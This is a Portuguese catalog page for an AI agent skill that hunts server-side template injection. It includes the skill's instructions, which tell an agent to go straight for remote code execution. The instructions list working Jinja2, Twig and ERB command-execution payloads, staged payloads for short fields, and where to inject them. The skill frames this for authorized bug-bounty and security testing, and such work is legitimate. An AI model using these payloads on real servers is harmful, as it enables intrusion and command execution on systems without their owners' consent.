hunt-ssti
Ensina seu agente de IA a construir APIs e sistemas de back-end.
O que ela faz
Esta ferramenta procura por falhas de segurança em sites chamadas 'Server-Side Template Injection' (SSTI). Ela tenta executar comandos no servidor para verificar se o site é vulnerável.
Quando usar
- ✓Ao testar a segurança de um site com permissão.
- ✓Para fins educacionais sobre segurança web.
- ✓Em avaliações de segurança autorizadas.
Exemplo do que pedir para a IA
“Procure por SSTI no site example.com”
Quer saber mais? Abra as seções abaixo.
Como usar
O jeito mais fácil: copie a mensagem abaixo e cole no Claude, ChatGPT, Cursor ou outra IA. Ela lê a skill e segue as instruções.
Link da skill
Mensagem pronta para colar
Como funciona
A ferramenta envia pequenos códigos para o site, como se fossem dados normais. Se o site interpretar esses códigos como instruções, ele pode estar vulnerável.
Instalação
Jeito mais fácil: copie o link da skill e cole no Claude, ChatGPT ou Cursor pedindo para seguir as instruções.
No terminal (Claude Code, Codex, Cursor), na pasta do projeto:
npx skills add sickn33/agentic-awesome-skills --skill hunt-sstiOu baixe só o arquivo:
curl -L https://raw.githubusercontent.com/sickn33/agentic-awesome-skills/main/plugins/agentic-awesome-skills-claude/skills/hunt-ssti/SKILL.md -o SKILL.mdConteúdo técnico (SKILL.md)
Tradução do texto original do autor no GitHub. Os comandos e códigos estão como no original.
⚠️ USO AUTORIZADO APENAS Esta habilidade é apenas para fins educacionais ou avaliações de segurança autorizadas. Você deve ter permissão explícita e por escrito do proprietário do sistema antes de usar esta ferramenta. O uso indevido desta ferramenta é ilegal e estritamente proibido.
Porta de confirmação obrigatória Antes de executar qualquer comando que sonde, explore, altere, persista, extraia dados ou tente acesso a credenciais contra um alvo:
- Peça ao usuário para declarar o URL, IP, conta ou recurso exato do alvo.
- Peça ao usuário para confirmar a autorização por escrito e o escopo permitido.
- Mostre o(s) comando(s) exato(s) e explique seu efeito esperado.
- Aguarde a confirmação explícita na conversa atual.
Sem essa confirmação, permaneça somente leitura e forneça apenas orientação defensiva. Prefira um sandbox, VM descartável ou laboratório controlado.
Prioridade de Teste Autônomo
Escalar diretamente para RCE — não pare na detecção de aritmética.
Sondas aritméticas ({{7*7}}→49) confirmam o ponto de injeção, mas não são prova de impacto. O objetivo real é a execução de comandos do sistema operacional. A detecção aritmética também falha silenciosamente quando o aplicativo ecoa a entrada de volta (por exemplo, dentro de um atributo HTML como <input value="{{7*7}}">), produzindo um falso negativo mesmo quando a injeção existe.
Ordem de ataque:
- Tente Jinja2 RCE primeiro (cobre Python/Flask — a pilha mais comum em aplicativos web modernos):
{{config.__class__.__init__.__globals__['os'].popen('id').read()}} - Se o endpoint for um formulário web tradicional, envie como corpo codificado em formulário — NÃO JSON:
Corpos JSON são ignorados silenciosamente por endpoints de processamento de formulários (Content-Type: application/x-www-form-urlencoded field={{config.__class__.__init__.__globals__['os'].popen('id').read()}}request.form['field']não vê nada). - Se Jinja2 falhar, tente Twig (PHP/Symfony):
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} - Recorra à detecção de aritmética apenas para identificar o motor quando os payloads de RCE falharem.
Prova: A saída do comando (uid=N(user) gid=...) na resposta confirma RCE. Se a saída aparecer em HTML (dentro de um <div> ou <pre>), isso ainda conta — o formato é irrelevante, o conteúdo é a evidência.
14. SSTI — SERVER-SIDE TEMPLATE INJECTION
Fácil de detectar, alto retorno ($2K–$8K). Caminho direto para RCE.
Payloads de Detecção (tente todos)
{{7*7}} → 49 = Jinja2 / Twig
${7*7} → 49 = Freemarker / Velocity / Mako (all use ${...})
<%= 7*7 %> → 49 = ERB (Ruby)
*{7*7} → 49 = Spring Thymeleaf
{{7*'7'}} → 7777777 = Jinja2 (Python string repetition); 49 = Twig (numeric coercion of '7'). Differentiates Jinja2 from Twig.
Payloads de RCE
Jinja2 (Python/Flask):
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
Twig (PHP/Symfony):
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
ERB (Ruby):
<%= `id` %>
Campos de injeção com comprimento restrito (nome do perfil, nome de exibição, assunto)
Quando o campo injetável limita o comprimento da entrada (um campo de nome de perfil / nome de exibição geralmente tem ≤30-64 caracteres), o comando de linha única os.popen completo não caberá — mas a detecção e a enumeração de classes ainda cabem. Confirme com a sonda curta, em seguida, enumere o índice do gadget em estágios em vez de um payload:
{{ '7'*7 }} # detection, fits anywhere
{{ [].__class__.__base__.__subclasses__() }} # dump class list, pick the index for subprocess.Popen/os
{{ ''.__class__.__mro__[1].__subclasses__()[INDEX] ('id',shell=True,stdout=-1).communicate() }}
O sink refletido é frequentemente um e-mail de saída (o e-mail de atualização de conta / confirmação que renderiza seu nome), não a página web — leia o corpo do e-mail para a saída avaliada. Divulgado: reports/125980 (nome do perfil → Jinja2 → e-mail de confirmação, com comprimento limitado).
Onde Testar
Name/bio/description fields, email templates, invoice name, PDF generators,
URL path parameters, search queries reflected in results, HTTP headers reflected
Formulários de CMS / "documentação" com editor de templates (autenticado)
Alguns SSTI vivem por trás de um editor de templates logado (CMS "editar template" / template de produto / preview de template de e-mail). A classe "SSTI usando documentação" da PortSwigger tem essa forma. Três coisas quebram uma tentativa ingênua:
…
Perguntas frequentes
O que é SSTI?
É uma falha que permite a um atacante executar comandos no servidor onde o site está hospedado, usando as ferramentas de 'template' do próprio site.
Por que preciso de permissão?
Testar a segurança de sites sem autorização é ilegal e pode causar danos. Esta ferramenta só deve ser usada em ambientes controlados e com permissão explícita.
O que é RCE?
RCE significa 'Remote Code Execution' (Execução Remota de Código). É o objetivo final de um ataque SSTI, onde o atacante consegue executar comandos no servidor à distância.
Detalhes
Descrição original do autor
Hunt server-side template injection (SSTI) across Jinja2 (Flask/Django), Twig (Symfony), Freemarker (Java), ERB (Rails), Spring, Velocity, Mako, Thymeleaf, Smarty.
Popularidade
- Estrelas no GitHub
- 48 mil
- Posição no ranking
- #3292
- Licença
- MIT
- Atualizada em
- 15/10/2026
Comentários
- …
Mais skills deste repositório
00-andruia-consultant
Ajuda seu agente a iniciar ou melhorar projetos de IA. Ele analisa código, sugere ferramentas e cria planos de ação em espanhol.
sickn33/agentic-awesome-skills
007
Faz seu agente realizar auditorias de segurança e modelagem de ameaças. É útil para proteger projetos contra ataques e vulnerabilidades.
sickn33/agentic-awesome-skills
10-andruia-skill-smith
Ajuda seu agente a criar ou melhorar ferramentas de IA. Ele define como as ferramentas funcionam, escreve a documentação e valida a estrutura.
sickn33/agentic-awesome-skills
20-andruia-niche-intelligence
Faz seu agente criar um resumo sobre um setor específico. É útil para entender o contexto, regras, padrões de uso e riscos de um projeto, usando fontes confiáveis.
sickn33/agentic-awesome-skills
Skills parecidas
api-connector-builder
Faz seu agente construir novas conexões com APIs seguindo o padrão já existente. Use quando precisar adicionar mais uma integração sem criar um novo jeito de fazer.
affaan-m/ECC
api-design
Ajuda seu agente a projetar APIs REST seguindo as melhores práticas. É útil para definir como as APIs se comunicam, como os erros são mostrados e como organizar os dados.
affaan-m/ECC
backend-patterns
Ajuda seu agente com padrões de arquitetura do lado do servidor e otimização de banco de dados. É útil para construir ou revisar o código que roda no servidor.
affaan-m/ECC